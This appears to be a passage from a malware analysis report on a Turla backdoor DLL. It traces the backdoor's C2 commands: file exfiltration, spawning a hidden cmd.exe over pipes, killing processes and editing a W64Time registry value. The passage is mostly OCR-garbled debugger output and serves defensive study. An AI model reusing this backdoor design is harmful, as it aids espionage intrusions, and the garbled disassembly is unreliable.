45 33 CO xor rgd,rad X87r7 00000000000000000000 ST7 Empty 0.0000000000000000(
BA 00 00 00 80 mov edx, 50000000
C7 44 24 20 03 00 00|mov dm)rddptr ss:firsp+20Q;3 wuB7Tagword FFFF
rai
brd PEF UST[<iCreateFilews]0
&L o
qword ptr [0ODO7FFBA7T3B3038 <turla.&CreateFilew>]=<kernel32.CreateFilew>
. TEXTt:00007FFBAT3IBLE4A turla.dl1:$184A #C4A

Woump1  @oump2 @WDump3  @oump4 B8 DumpS Te=] Locals

Hex
00 00 00 00
00 00 00
00 00 00

00 00 00 00|00 OO0
00 00 00 00|00 OO0
00 00 0O 00|00 00

DDOD01F 16BA5 9F50

The size of the file is retrieved by calling the GetFileSize routine:

& || 00007 AT3B1860
D0007 FFBAT3B18

lea rox,gword ptr ss:grop+s7Q L
mov rox,rbx 000000
i qword ptr dss[<sGetFilesizes]’ i :x gwwoogggggg
mov dword ptr s by

RCX 00000000000005 30

rbp+7
[ dword ptr ss:lrb +
4Tptnr1n 'rE:uyamuE RDX  DO0DOD0BO3ELEFE0S8

Figure 4
The file content is copied to a buffer via a function call to ReadFile:
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00007FFBATIB16818 41 38 C6 cmp eax,f14 RAX  000001F16B9B5440

00007FFBA73B181E ~ 74 07 je :uru.?ﬁrw;naz?
Ooo07rEsaz3sisso| | 83 0 v b REX 0000000000005 30
O0007FF8A73B1822( ~ E9 8F 05 00 00 mp turla.7FFSA73BIDBG
00007FFBAT3B1827 4C 89 6C 24 30 mov gword ptr s=:[frsp+30f,ri3 ROX  OC0001F16B98S440
00007 FF8AT38182C 45 33 Ca xor rad,rad RBP  DOOODOBO3ELEFSAL
DO0007FFBAT3IB1B2F C7 44 24 28 80 00 00|mov dword ptr ss:Ersp+28§,s0 BSE  0OODOOOB0O3ELEF4DO
O0007FFSAT3B1837 45 33 CO xor r&d,rsd RSI  DODOOLF16B979130 &L"SYSTEM\\CurrentControlset)
00007 FFBAT3B183A BA 00 00 00 80 mov edx, 80000000 RDI  OO0D01F16BASADAL L"file. txt”
00007 FFEAT3B183F €7 44 24 20 03 00 00|mov dword ptr ss:f@rsp+20§,3
00007 FFBAT3IB1B4T 48 8B CF mov rcx,rdi RE 0000000000000004
seontte GEETow |(Bsmde s omm— S
007 FF S
00007 FFBA7381853 48 83 F§ FF cmp rax,FFFFFFFFFFFFFEFE :1{1 0000017 1EBAFS 260
e 11 0DO0DODBOZELEF460
00007FF8 ~ 75 07 jne turla.7FFBA73B1860 R1Z ODODOCBOIELEFBED
00007 7 B3 06 mov bl,6&
O0007FFBAT3BLESE| + E9 56 05 00 0O imp turla.7FFBA7381DB6 R13  0000000000000000
00007FF8A7 381860 48 BD 55 67 Tea rdx,qword ptr ss:frop+e7l i s A A
O0007FFBAT3B1E64 48 BB CB moy rcx,rbx R15 DO0D0D0S03ELEFES0
00007 FF8A73B1867 FF 15 DB 17 00 00 €@l qword ptr ds: [<&GetFilesizes]
00007 FFBAT 381860 89 45 TF mov dword ptr ss:frop:7Fj,eax RIP  OOOOTFFBAT3BLECF turla. 00007FFBAT3B18CF
D000 FF8A7 381870 44 39 6D &7 cmp dword ptr ss:§rbp+67) ,r.l.sd
DOD0TFFBAT3IBL1E7 4 « 74 10 je turla.7FFBA73B1886 RFLAGS  0000000000000202
D0007FFBA73B1876 48 88 CB mov_rcx,rbx ZF 0O PFO AF O
00007FFBAT3B1879 FF 15 C1 17 00 00 call qwurd ptr ds: [<&CloseHandle>] OF 0O SFO DF O
00007 FFBAT3B187F 83 09 mov bl,2 cFo TEo IF 1
00007FFBAT3B1E81( ~ E9 30 05 00 00 imp tnrla.nFm\?:nmu
00007FFBAT3B1686 85 €O Test eax,ea
00007FFSA73B1888| + 75 1D jne tnr‘la.?rﬁ&\?“un LastError 00000000 (ERROR_SUCCESS)
00007FFBA73B1684 45 88 CB MOV _rcx,rbx Laststatus CO00007C (STATUS_NO_TOKEN)
00007 FF3A7 381880 FF 15 AD 17 00 00 €all gword ptr ds:[<&CToseHandles]
00007 FFBA7 381893 32 DB xor bl,bl GS 002B FS 0053
O0D07FFSAT3B1895( + E9 1€ 05 00 00 imp turla.7FEBA7IBIDEE ES 0028 QS 0028
00007FFBAT3BLE9A BB C8 MOV _EeCx,eax €5 0033 55 0028
OD007FFBA73B1B9C E8 6F FA FF FF call turia. J'FFWins:l.o_‘
00007 FF8A73B18A1 48 B9 44 24 50 mov gword ptr ss:frsp+sofl,rax 7r0 00000000000000000000 . 0000000000000000¢
SOt EE AL RS S WV -FCX TR X871 00000000000000000000 ST1 3:3 0. 0000000000000000¢
SHICEEE RAT AR R % 2 0 EEET PR rhy xB7r2 0000D0000000D00000000 STZ Empty O.0000000000000000
00007 FFBAT3BLEAC v 75 11 ne turla.7FFBAT3B1BEF e
00007 FFBAT3B1BAE FF 15 8C 17 00 00 gword ptr ds:[<&CloseHandle>] KBYF3 /0U000ON00000UO00NNG | ST ERELY..O  DUDOOIONCRICOD0N0.
OD00TFFSAT 381564 44 B9 6D -F mov dword ptr ss:@rop-7Ed,ri3d X87r4 00000000000000000000 ST4 EmpTy 0.0000000000000000C
B3 FF mov bl,FF X87r5 00000000000000000000 STS Empty 0.0000000000000000¢
{007 ~ E9 F7 D4 00 DD jmp turla.7FFS8A73B1DEG X87r& 00000000000000000000 STE EmpTty 0.00000000000000000
00007 FF8AT3B18BF 44 8B 45 7 mov rad,dword prr ss:frbp+7F X87r7 00000000000000000000 ST? Empty 0.0000000000000000¢
00007 FFBAT3B16C3 4C BD 4D 77 1ea r9,qword ptr ss:firbp+77
0D007FFBAT3B18CT 48 8B DO mov rdx,rax x87Tagword FFFF
00007 FEBAT3B18CA rsp+2of,ri3 memmme
) SELSCF i <aReadFil eI v |
>

qword ptr [OODOTFFBAT3B3098 <turla.a&ReadFile>]=<kernelsz.ReadFile> rdx OOO0OLF16BIBS 440
rs

£O0O00DO0O000004
r9 DODODO F
. TexT:0000TFFBAT3B18CF turla.d11:$18CF #CCF 2 BUREACERIR

Woumpl  @4Dump2 H0ump3 U Dump4

9 watch 1

44 Dump 5 [x=llocals 4 Struct

| DODDO1F 168985 440

00 00 DO|0OD 0O DO OO|FL 82 20 2F|00 15 00 80

Figure 49
The content extracted above is transmitted to the CnC server:

®| 00007FFBAT3B1FAB 49 8B CE MOV rFex,ri 000000000000000
® | 00007 FF3AT3B1FAE EB 7D F4 FF FF can turn.?FFn?;uam :ﬁ oooooansm;m.n;
00007 FFBAT3IB1FB3 44 8B F8 mov risd,eax REX 00D0OLF16BASAOAD
o || ODOO7FFBAT3B1FEG 8D 45 10 lea ecx, ?wd ptr ds:[rax+10]
o || 0o007FFEAT3BIFRS E8 52 F3 FF FF €a17 turla.7FFBAT3B1310 ROX  OODOOLF16B98S 470
® || 00007FFBAT3IB1FBE 48 BB F8 mov rdi,rax RBP  DOO0D0BO3E1EFEG0 -
o || 0DOD7FFBAT3BIFC 48 B85 CO test rax,rax RSE  0ODOOOBO3ELEFE00 &L"0ad3e313-250c- N
—————————— @ || DD0D7FFBAT3IBIFCS ~ OF 84 03 01 00 00 je turla.7FF8AT3B20CD RSI 000001F168979130 &L"SYSTEM\\CurrentControlset®
! o || 00007 FFBAT3BLFCA 41 B8 OE 00 00 00 mov réd,E RDI 0000000000000006
o || 00007 FFBAT3B1FDO 48 8D 15 59 11 00 00|lea rdx,qword ptr ds:[7FFS8A73B3130]
¢ || 00007FF8AT3B1FDT 48 8B C8 MOV rex,rax RS 0000000000000006
Seecomm ST (ERSheEesmm 8 e
Q0007 . ¥ +
®| OO007TFFBAT3IBIFES 45 8B C7 mov réd,risd :ig gocmgz;ggg;ggig L'E"
@ || 00007 FFBAT3B1FES 49 BB D6 mov rdx,ri4
® || 00OO7FFBAT3IBIFED E8 A2 F3 FF FF E&17 turla.7FFBAT3B1390 RLE LODDUOLE LoBARS 00
® || 00007 FFBAT3BLFEE 41 B9 00 0O 00 20 mov r9d,20000000 R13  D00OO1F16BISBDDO = I
® || 00D07FFBATIBIFF4 41 B3 C8 FF or r8d,FFFFFFFF R14  000001F16B981EED L"0ad3e319-280¢
00007 FFBAT3BIFFS 48 88 D7 mov rdx,rdi R15  0D000000000000000
® || 00007FFBAT3BIFFE 45 8B CB MoV _rex,rbx
& || 00007 FFBAT3B1FFE FF 15 0C 11 00 00 €81 gword ptr ds:[<&winHttpAddRequestHeat RIP 00007FFBAT3B2068 turla. 00007FFBAT3IB2068
o || 00007FF8AT3B2004 48 BB CB mov rex,rbx
|| 00007 FFBAT 382007 85 co test eax,eax RFLAGS  0000000000000202
00007FFBA73B2003| ~ OF 84 C1 00 00 00 je turla.7FFBA73B2000 ZF D PFO AF O
00007 FFBA73B200F 41 B9 04 00 00 00  |mov rad,+ DF O SFO0 DF O
00007 FFBAT382015 €7 45 58 00 33 00 00|mov dword ptr ss:Qrbp+s5sj,3300 CEO0 TFO IF1
O000TFFBAT3B201C 4C 8D 45 58 1ea r8,qword ptr ss:lfirbp+5a]

00007 FF8AT 382020 41 8D 51 1B Tea edx.qwrd ptr ds;[r9+1e
00007 FFBAT3B2024 FF 15 C6 10 00 00 | E@WN gword ptr ds: [<aWinHTTpSetoptions] LastError 00000000 (ERROR_SUCCESS)
i it ng e R Laststatus COO0007C (STATUS_NO_TOKEN)

00007 FF8AT 382020 85 €O Test eax,eax

D0007FFBAT 38202F ~ OF 84 98 00 00 0O Je turn.nsw;u GS 0028 FS5 0053

00007FFBA73B2035 8B 7D 50 mov edi,dword ptr ss:fBrbp+sof ES 00ZB Q3 002B

00007FF3A 45 33 FF xor risd,risd CS 0033 55 0028

00007 FFE. 4C 89 7C 24 30 mov gword gtr ss:frsp+30§,ris

00007 FF8AT 382040 45 33 €9 xor rad,rs 00000000000000000000 . 0000000000000000(
00007 FFBA7 382043 83 7C 24 28 mov dward ptr ss:frspe2sl, edd ::;:2 oooonooooggoooooooon §2 mg g goooooooooonom
0DOD7FFBAT3B2047 45 33 CO xor r&d,rsd 3

%87r2 00000000000000000000 ST2 Empty O0.0000000000000000C

00007 FESA7 382044 33 D2 xor edx,edx

s BATA i 00000000000
00007FFBAT38204C 41 89 7C 24 20 mov_dword ptr ss:firsp+20f,risd X87r3 00000000000000000000 ST3 Empty 0,00000
00007 FF8AT 382051 FF 15 81 10 00 00 €&l gword ptr ds: [<&wWinHTtpSendRequests] X87r4 00000000000000000000 5T4 Empty 0.0000000000000000¢
00007FFBAT3B2057 48 8B CB MOV FCx,rbx x87r5 00000000000D00000D00 STS Empty 0.0000000000000000C
0D007FFBAT 382054 85 CO test eax,eax x87r6 00000000000000000000 ST6 EMpty 0.0000000000000000C

00007 FF8AT3B205C ~ 74 &7

00007 FF8AT3B205E 4C 8D 4D EO
00007 FFBAT3B2062 44 8B C7
00007 FFBAT3B2065

& turla.7FF8AT3B20CS X87r7 00000000000000000000 ST7 Empty 0.00000000000000000

bp-20§

x87Tagword FFFF

nHttpWr iteDatas]il v
mail

AWinHTTpWriteData>]=<wi rﬁttp.m’ nHTTpwWriteData>

«Text:00007FFBAT3B2068 turla.d11:52068 #1468

Woump1  @YDumpz  PUDump3 UM Dump 4

Woumps @ wachi  (elLocals 0000001 #2505 D000OLFL689B1EED | L"0Dad3e319-280¢

Figure 50
1st byte = 0x05 — spawn a new process

The malicious process creates an anonymous pipe using the CreatePipe API:
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|

issssssssssES

Figure 51 _

18 00 00| mov

58

50

01 00 00
00 00
00 00

01

xor rad,rad

dword ptr ss:frspssof,1s

mov gword ptr ss:Ersg—SE].rlr

lea r&,qword

prr ss:frspsof

mov dword ptr ss:frsp+eof, 1
Tea rdx,qgword ptr ds:[rbx+a]

W rx,rbx

call ptr ds:[<éCreatefipex]
Test eax,eax

je tl.ll"la 7FFBAT3IB2B2E
mov rcx,qword ptr ds:[rbx+a]
Tea edx‘qwrd ptr ds:[ri2+1]

RAX

RCX
RDX
RBP

RSI
RDI

RE
R3S

0000000000000018
000001F 168965050
000001F16B965050
DOD0D1F1EB965058
000001F1E6BASADAL
000000803ELEF3DO
000001F168979130
000001F16BA5ADAL

000000B03ELEF420
0000000000000000

L"cmd. exe™

&L"SYSTEM\\CurrentControlset’

L"cmd. exe”

The write handle is set to be inherited by calling the SetHandlelnformation routine (0x1
= HANDLE_FLAG_INHERIT):

Flgure 52

A second anonymous pipe is created by the malware:

essssssnenee

Flgure 53

00 00

00 00
FF FF

00 00

FF FF

Tea edx,qwor
xor rad,rsd

call mnrd ptr ds:[<asetHandleInformation:

Test eax,eax

d prr ds:friz+1i

jne turla.7FFBAT3B2835

mov rcx,qword ptr ds:[ris]

Tea rax,qword ptr d$<[rcx 1]
FO

cmp rax,FFFF

FEFFEFFF

ja turla. 7FFB¢I?382A€0

xor edx,edx

gword ptr ds:

lea ra,qword p

lea rdx,qwor
lea 'cx‘quor
call gword
TesT eax,eax
je turla.7FF
mov rcx,gqwor
xor rad,rsd
lea edx,qwor

]
€AW qword prr ds:[<&SetHandleInformation:

Test eax,eax
je turla.7FF

tr ss:Brsp+sofl
d ptr ds:[rbx+18
d ptr ds: [rbx+10

ptr ds:[<iCreatePripe>]

BAT3IB2ZAAB
d ptr ds:[rbx+10]

d ptr ds:[ra+1

BAT73B2AAB

[<&TerminateProcess>]

RAX
RCX
RDX
RBP

RSI
RDI

RB

0000000000000001
000001F16B965050
00000000000005F 8
0000000000000001
000001F LEBASADAL
000000803ELEF3D0
000001F16B8979130
000001F16BASADAL

0000000000000000

0000000000000001
000001F16B965050
000001F LEB965 060
D0D0D1F1E6B965068
000001F1E6BASAOAL
000000803ELEF3D0
000001F 168979130
000001F16BASADAL

000000803ELEF420
0000000000000000

L"cmd. exe"

aL"S*STEM\\Currentcontrolseﬂ

L"cmd. exe"

L"cmd, exe”

&L"SYSTEM\\CurrentControlset)

L"cmd. exe"

The read handle is set to be inherited by calling the SetHandlelnformation routine (0x1
= HANDLE_FLAG_INHERIT):

Figure 54I |
CreateProcessW is used to create a process specified by the C2 server (0x08000000
= CREATE_NO_WINDOW):

3C 05

01

FF
24

FE

xor r8d,rsd

lea edx,qwor
call ptr

Test eax,eax
je turla. 7FF
xor edx,edx
lea rcx,qwor
lea red, ?wor
turla. 7|
mnv rax, qwor
xor rod,rad

d ptr ds:

BAT3IB2AAB

d ptr ss:frsp+7o)
d ptr ds:[rdx+68
FFBAT3B13E0

d prr ds:[rbx]

[r8+1]
.[<&SetHand1exnfurmat1um

REX
RCX
RDX
REBP
BSE
RSI
RDI

RSB

0000000000000001
000001LF16B965050
00000000000005AC
0000000000000001
000001FLEEBASADAL
000000803ELEF3D0
000001F 168979130
000001F1EBASADAL

0000000000000000

L

L"cmd. exe”

&L"SYSTEM\\CurrentControlSet

L"cmd. exe”
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lea rcx,qword ptr ss:!rsp+?-J CFoO TFO IF1

lea rad,gmrd ptr ds:[rdx+68

.
.
-
.
.
.
.
L]
-
L]
.
.
.
.
.
[
.
.
.
.

EB 64 EB FF FF E&11 turla.7FFBA73B13E0

48 88 03 MOV rFax,aword ptr ds:[rbx] LastError 00000000 (ERROR_SUCCESS)
45 33 C3 xor rad.rad LastStatus CODDOOTC (STATUS_NO_TOKEN)
4C 89 TC 24 48 mov gword ptr ss:frsp+45Q,ris

45 33 Co xor ré&d,rsd G5 DD2B FS D053

48 89 84 24 CO 00 00|mov gword ptr ss:Qrsp+cof,rax ES 0028 QS 002B

48 BB D5 mov rdx,rbp €S 0033 S5 0028

48 88 43 18 mov rax,qword ptr ds:[rbx+1s]

33 C2 XOF €CX,ecx

48 89 B4 24 €5 00 00|mov gword pTr ss:lrsp—csi,rax
55

71
rsp+DOf. rax X87r1 00000000000000000000 ST1 Empty

48 83 F9 FF €mp rcx,FFFFFFFFFFFFFEFF 00000

v 74 OE i’e turla.7FFBA73B2B16 m omggg:s;g;:g
FF 15 32 05 00 00 qword ptr ds: [<éCloseHandle>] RCX 0000000000000000
48 C7 43 18 FF FF FF|mov gword ptr ds:[rbx+18),FFFFFFFFFFFFFFFF o P
48 BB 48 10 mov rex,qword prr ds:[rbx+10] RDX  DODOOLF1EBASADAL L emd, exe”
48 83 F9 FF €mp rcx,FFRFFEFFFFFFFEFF RBP D0000LF LEBASADAL L"cmd, exe

v 74 OE e turla.7FFBAT3IB2B2E BSE 000000803E1EF3D0
FF 15 1A 05 00 00 gword ptr ds:[<éCloseHandle>] RSI  000001F16B979130 &L "SYSTEM\\CurrentControlseth
48 €7 43 10 FF FF FF|mov gword ptr ds:[rbx+10],FFFFFFFFFFFFFFFF RDI 000001F 1EBASADAL L"cmd. exe"
33 Co XOr eax,eax

« E9 C9 00 00 00 jmp turia. TFFBAT3B2BFE RE 0000000000000000
45 33 €3 xor rad,rad - LT 0000000000000000
4C 8D 44 24 50 lea r3,qword ptr ss:frsp+sof R10  0000000000000000
48 8D 53 18 lea rdx,qword ptr ds:[rbx+18 R11 0000000000000246 L'E’
48 8D 4B 10 lea rcx,qword ptr %5: rbx+10 ] R1Z2 DO00000000000000
FF 15 35 05 00 00 €&l qword ptr ds:[<ACreatePipe>
B85 CO TesT eax,eax R13 0000000000000005

- ~ OF 84 58 FF FF FF je turla.7FFEA73BZAAB R1%  0000000000000010
48 8B 48 10 mov rcx,gword ptr ds:[rbx+10] R15 000001F16B965070
45 33 CO xor réd,rad
41 8D 50 01 lea edx,qword ptr ds:[r8+1] RIP OO00TFFBAT3B2BEB turla.00007FFBAT3B2BEBR
FF 15 3C 05 00 00 qword ptr ds:[<&SetHandleInformation:
85 CO Test eax,eax RFLAGS  0000000000000246
Sk ~ OF B4 3IF FF FF FF je turla.7FFBAT3IBZAAB 2ZF 1 PF1 AF O

33 D2 xor edx,edx OFD SFO DF O

X87r0 00000000000000000000 STO Empty O.0000000000000000C
0, 0000000000000000C

lea rax,qword ptr ss:frsp+7off
mov gword ptr ss:frsp+40f,rax
mov gword ptr ss:frsp+358,riz2
mov mrd ptr @rsp+308,riz

X87r2 00000000000000000000 ST2 Empty
X87r3 00000000000000000000 5T3 Empty

A87r5 00000000000000000000 STS EmpTy

sSsssssnnn

o
(1]
X87r4 00000000000000000000 5T4 Empty 0.0000000000000000C
o
o
o

mov rd ptr rsp+288, 8000000 X87r& 00000000000000000000 STE EmpLy 0000000000000000C
mov dword ptr rspr2o,1 x87r7 00000000000000000000 ST7 Empty O.0000M
mov dword ptr rsp+708, 68
mov dword ptr rsp+acy, 101 x87Tagword FFFF
mov word ptr s rsp+80f,riaw p=m o
qgword ptr ‘[<&CreateProcessw=] w =

qword ptr [DODOTFFBAT3B30S0 <turla.&CreateProcessw>]=<kernel3z.CreateProcessws

: rdx DDODOLF1G6BASADAL L“cmd.exe”
rgé 0000000000000000

4 r 00000000
. Text: 00007 FFBAT3B2BEB turla.d11:$2BEE #1FEB 340 facon

Figure 55
A confirmation message “05 00” is sent to the C2 server.

1st byte = 0x06 — kill a process

The binary Kills the process spawned in the above command by calling TerminateProcess:

33 D2 xor edx,edx RAX  0000000000001234
gs-.:gg 3C 17 00 00 -.?léﬂg-m:r Hdss[<aTerminateProcess>J100 RBX 0O0O0D1F16B965050
XOor edx,edx
5 RCX  0000000000001234
4 qwo H +20
il 155 552--._.-25 BLD E?;:E’ ml RDX  0000000000000000

Figure 56
A confirmation message “06 00” is sent to the C2 server.

1st byte = 0x07 — read/write to a pipe

The WriteFile APl is utilized to write data transmitted by the CnC server to a pipe created
earlier:

& 0000D0B03E 1EF440
@Soump1  Ypump2  @hoump3  Youmps  WNDumps @ warhi  bellocals ) stuct F303 | 000DD1F16B965000 | L™\\Services\\W64Time\\Par amet
000001F 168965060 |AG 05 0D 00|00 00 0D DO|AD 05 DO 00|00 0D DO 0O

000001F16B965070 00 00 00 00|00 00 00 00{00 00 0O 00|00 00 0O 0O

000001F168965080| 00 00 00 00|00 00 00 00|00 00 00 00 DO 0O

000001F168965090| 00 00 00 00|00 00 OO0 00|78

000001F 168965040 mwl

L 0| EQ SC 96 SR IFL 01 00 00
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OF 44 CB cmove ecx,ebx RAX  0000000000000006

OF B6 D9 movzx ebx,cl
~ E9 B4 04 DO 00 jmp turla.7FFSATIBIDEG sgf ggggg;:é:g:gggig ﬁ
48 8B SE 38 mov rbx,qword ptr ds:[rsi+3s ; e -
48 88 48 20 mov rex,aword prr ds:[rbx+20 ROX  OOOOOLF1G8ASADAL L"test
48 BD 41 FF Tea 'ax‘qnord ptr ds:[rex-1] RBP  OODOODOSO3ELEFSAL
48 B3 FB FD Cmp rax,FFFFFFFFFFFFFFFD BSE 000000803ELEF4D0
~ 77 0B ja turla.7FFBA7IB194C RSI  DODOO1F16B979130 &L"SYSTEM\\CurrentControlset
33 D2 xor edx,edx RDI  OODDO1F16BASADAL L*test”
FF 15 3C 17 00 00 call qwnrﬂ ptr ds:[<&TerminateProcess>]
33 b2 xor edx,edx RS 0000000000000008
:: :g ;; ig :ea 'gg‘quorg D%r 35=ErﬁX'?"% RS 000000803E1EF 608
ga rid,gword ptr dsi[rdx+1s R10  0000000000000000
ES 85 FA FF FF €W turla.7FFBA73B13ED R11  OODODOSO3ELEFSED
48 8B OB mov rcx,qword ptr ds:[rbx] 3 = o H
48 83 F9 FF emp rcx,FFFFFFFFFFFFFFFF 12 00000803ELEFEB0
v 74 0D e turla.7FFBA73B1971 Bl GOOOEROREIE (O ;
FF 15 D6 16 00 00 R14  0O000000000003ES L'D
48 C7 03 FF FF FF FF|mov gword ptr d R15  OODDOOSO3ELEFES0
45 BB 4B 08 mov rox,qword p
48 83 F9 FF cmp FF RIP  OOOO7TFFSAT3BL9ES turla.00007FFBATIB19ES
v 74 OE g :urln TFFBAT3B1989
FF 15 BF 16 00 00 gword ptr ds:[<&CToseHandle>] RFLAGS  0000000000000200
48 C7 43 0B FF FF FF|mov gword p‘tg ds: [rbx+8] ,FFFFFFFFFFFFFFFF ZE 0 PF O AF O
46 88 48 18 s: [rox+1
48 83 F9 FF F “‘FLF’ - 2: g E: g E; 2
v 74 OE urla. ?FFaA?!m.M.l

FF 15 A7 16 00 00
48 C7 43 18 FF FF F

ds: [<&CToseHand]e:
[be_lﬁ]_§$,=F=:%=,=,,,,r LastError 00000000 (ERROR_SUCCESS)
rbx+10

LastStatus CO00007C (STATUS_NO_TOKEN)

n

48 83 F9 FF
~ 74 OE je turla.7F GS 0028 FS 0053
FF 15 &F 16 00 00 €& gqword ptr ds [:Ac1osenand1¢;} ES 0028 Q5 0028
48 C7 43 10 FF FF FF|mov gqword ptr ds:[rbx+10],FFFFFFEFFEFFFFEE €S 0033 35 0028
3z DB xor bi,bl
~ E9 F3 03 00 00 jmp tuc‘la.?FFsA?BBlDE? = ¥B7ro 00000000000000000000 STO Empty 0.0000000000000000C
Bl o ras, oo gﬁrd9:f557-?%] X87r1 D000D00D0000ODO000OD ST1 Empty 0.00000000000D0DO0C
48 8BS FF Test rd%qrd1 P S e X87r2 00000000000000000000 STZ EmpTy 0.0000000000000000C
v 74 38 je turla.7FFBA73B1405 X87r3 00000000000000000000 ST3 EmpTy 0.0000000000000000C
45 85 F6 Test ridd,ridd X87r4 00000000000000000000 ST4 EmpTy 0.0000000000000000C
~ 74 33 je turla.7FF8A73B1A0S X87r5 00000000000000000000 STS EmpTy 0.0000000000000000C
48 8B 4B 08 mov recx,qword prr ds:[rbx+s] X87r6 00000000000000000000 STE Empty O0.0000000000000000C
45 BB C6 mov rad,ri4d X87r7 00000000000000000000 ST7 Empty 0.0000000000000000C
4C 89 4C 24 20 mov gword ptr ss:frsp+2of,r9
48 BB D7 mov rdx,rdi xB7Tagword FFFF
4C BD 4D &7 lea f9,qwurd ptr ss:[irop+67] AR A e .
FF 15 AS 16 00 00 call gword ptr ds'[<&~rlteF11e>] o
B T > | Default (x54 fastcall) * $ [ unlocke:
[1: rcx 000D0GODO0ODOSAD
qword ptr [DODOTFFBAT3B3090 <turla.&WriteFiles]=<kernels2.Writeriles >: rdx ODODOIF1GRASAOAY L Test”

: r& 0000000000000008
¢ r9 00D000B03ELEFG08

. Text:00007FFBAT3IB19ES turla.d11:$19E5 #DES

@Woumpt | WYpump2 WHoump3  @Noump4  @Moumps  ® watch1  lx=llocals

L
Address Hex | AscIT
000001F163A59ECO 'iﬂ DT 'rn O)lﬂl'.l Dﬂ nn Dﬂ nn -‘m nn "TDI 00 TD f)ﬂ nnl ................

Figure 57
The process reads data that is available through the pipe using the PeekNamedPipe and
ReadFile APIs:

il e =]

JhexteeeeIFFEATIELABS

Jtext:BBEA7FFBATIBLARS loc 7FFBA73BLARS: 3 dwMilliseconds

Ldext:8EB8YFFSAYIBELABS mov ecx, rl3d

Jtext:BRAR7FFBATIBLARE call cs:5leep

Jtext:BRAA7FFBA73IBLABE mov rcx, [rbx+18h] ; hNamedPipe

Jtext:BBA7FFBATIBLAL2 lea rax, [rbptdFh+nNumberOfBytesToRead]

Jtextreeea7FFEATIELALE xor ri3d, rl3d

Jtext:BRBE7FFBATIBLALY xor rod, rod ; lpBytesRead

text:BR8E7FFBATIBLALC mov gword ptr [rsp+l28h+dwCreationFlags], rl3 ; lpByteslLeftThisMessage
Ltext:@eea7FFEATIBLA2L xor réd, rad ; nBuffersize

Ltext:@Bpa7FFEATIELA24 xor edx, edx ; 1lpBuffer

text:BRAETFFBATIBLAZE mov gword ptr [rsp+l128h+bInheritHandles], rax ; lpTotalBytesAwvail
Jtext:BRAA7FFBATIBLAZE call cs:PeekNamedPipe

Ldext:8eBAYFFSAYIBLASL test eax, eax

Jtext:BBAB7FFBATIBLAZS jn:z short loc_7FFBAY3IBlA48

Figure 58

il e =]

Jtext @ 7FFEATIBLATF

text:88007FFBATIBLATF loc_7FFBAT3IBLAYF: 3 NNumberOfBytesToRead
.text:88007FFEBATIBLATF mov réd, [rbp+4Fh+nNumberOfBytesToRead]
text:88007FFEBATIBLABS lea rg9, [rbp+4Fh+Number0fBytesRead] ; lpMumberOfBytesRead
.text:80807FFEBATIBLABT mov rcx, [rbx+l8h] ; hFile

Ltext :@@Ra7FFBATIELABE mov rdx, rax 3 lpBuffer

.text:808007FFEAT3IBLABE mov gword ptr [rsp+128h+bInheritHandles], rl3 ; lpOverlapped
Ltext:BBRA7FFEATIBLIAOS call £s:ReadFile

Ldext i eeBa7FFEATIBELAGD ftest eax, eax

.text:80807FFBA73IBLADE jz short loc 7FFBA73BLASE

Figure 59
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The pipe content extracted above is exfiltrated to the C2 server.

1st byte = 0x08 — modify the “TimeLong” registry value

The malware opens the “SYSTEM\CurrentControlSet\Services\W64 Time\Parameters”
registry key by calling the RegOpenKeyExW routine (0x80000002

= HKEY_LOCAL_MACHINE, 0x20006 = KEY_WRITE):

asssssen

=
|

45
7F
F8
44
<o
4C
F8
00
45

FF

00
00

oD
00

FF

00
77

oz

00

FF
50

50

FF

20
00 00

00
00

02 oo

00 00 80
2

4 24 20

rs
| €al1 aword pre di:

Test eax,eax
cmovne ebx,ri3d
jmp turla.7FFSA7381DB6
mov ecx,dword ptr ss:frbp+7F|
Test ecx,ecx
e turla, 7FFBAT3B1A90
h turla,.7FFBAT3IB1310
mov qword ptr ss:firsps5of,rax
test rax,rax
ne turla.7FFBAT3B1ATF
ea rcx,gword ptr ss:frsp+
mov _dword ptr ss:firbp
cann Turla, 7EF8A73B1350
mov eax,ri3d
mov ebx 8
Test eax,eax
cmovne ebx,ri3d
jmp turla.7FF8A7381DB6S
mov ri&d,dword ptr ss: lrbn
lea r3, rd ptr ss:
mov rcx,qword ptr us'{rnx 11
mov rdx,rax
mov quord ptr ss:frsp+20f,riz
€&l gword ptr ds:[<éReadFiles]
TeST eax,eax
je turla.TFFBAT3IBLASE
mov eax,l
mov ebx,B
Test eax,eax
cmovne ebx,risd
jmp turln.?FFsA?3s1Dns
mov rex,rd
call turn TFFBAT3IBL430
cmp eax,rl4d
je tur1a TFFSAT3BLACE
mow
Jmp turIn.?FFSA?auanna
mov rcx,rdi
€A1 turla.7FFBA73B14E0
mov rdx,qword ptr ds:[rsi]
mov ebx,eax
mov dword ptr ss:f@rbop+e7l,eax
mov r9d,20006
ss:Brop+770

lea rax,qgword ptr
xor rad,rad

mov
mov gword pTr ss:

RAX 000000B03ELEFE1S

RBX 0000000000002704

RCX FFFFFFFFB0000002

RDX D00001F 16EB964FDO L"SYSTEM\\CurrentControlset\}
RBP DO0000BO3ELEFSAL

BSE D00000B03ELEF4D0 &L"9988"

RSI 000001F 168979130 &L"SYSTEM\\CurrentControlset'
RDI D00001F16BASADAL L"9988"

P Srax
<&R egOpenkeyExw>]

RE 0000000000000000
RS9 0000000000020006
R10  0000000000000000
R11 O00000BO3ELEFSED
R12 O000000B0O3ELEFEBD
R13 0000000000000008
R14 0 004
R15 000000803ELEFE50
RIP 00007 FFBAT3B1AEF turla. 00007 FFBAT3BLAEF
RFLAGS  0000000000000246

ZF 1 PF 1 AF D

OF 0 SF O DF 0O

CFO TFO IF1

Lastérror 00000000 (ERROR_SUCCESS)
LastStatus CO00007C (STATUS_NO_TOKEN)

G5 D028 FS 0053
ES DD2E QS 002B
€S 0033 53 0028

x87r0 00000000000000000000 STO Empty O
X87r1 00000000000000000000 ST1 Empty O
X87r2 00000000000000000000 ST2 Empty O0.00000000000000000
X87r3 00000000000000000000 ST3 Empry O
X87r4 00000000000000000000 ST4 Empty O
x87rs 00000000000000000000 STS Empty O
X87r& 00000000000000000000 STE6 Empty 0O.0000000000000000(C
XB7r7 00000000000000000000 ST7 Empty O.0000000000000000C

x87Tagword FFFF

. Text:00007FFBAT3BLAEF turla.d11:$1AEF WEEF

qword ptr [0600?FF3A7!B!000 <turla.&RegOpenkeyExw=]=<advapi32.RegOpenkeyExw>

&!bounm Nmz W% Dump 3

% Dump 4

@

@ watch1  [*=llocals 4

000001F 163964 FDCI

000001F168965030(| 74 00 65 0017

Figure 60

54
65
6F
72
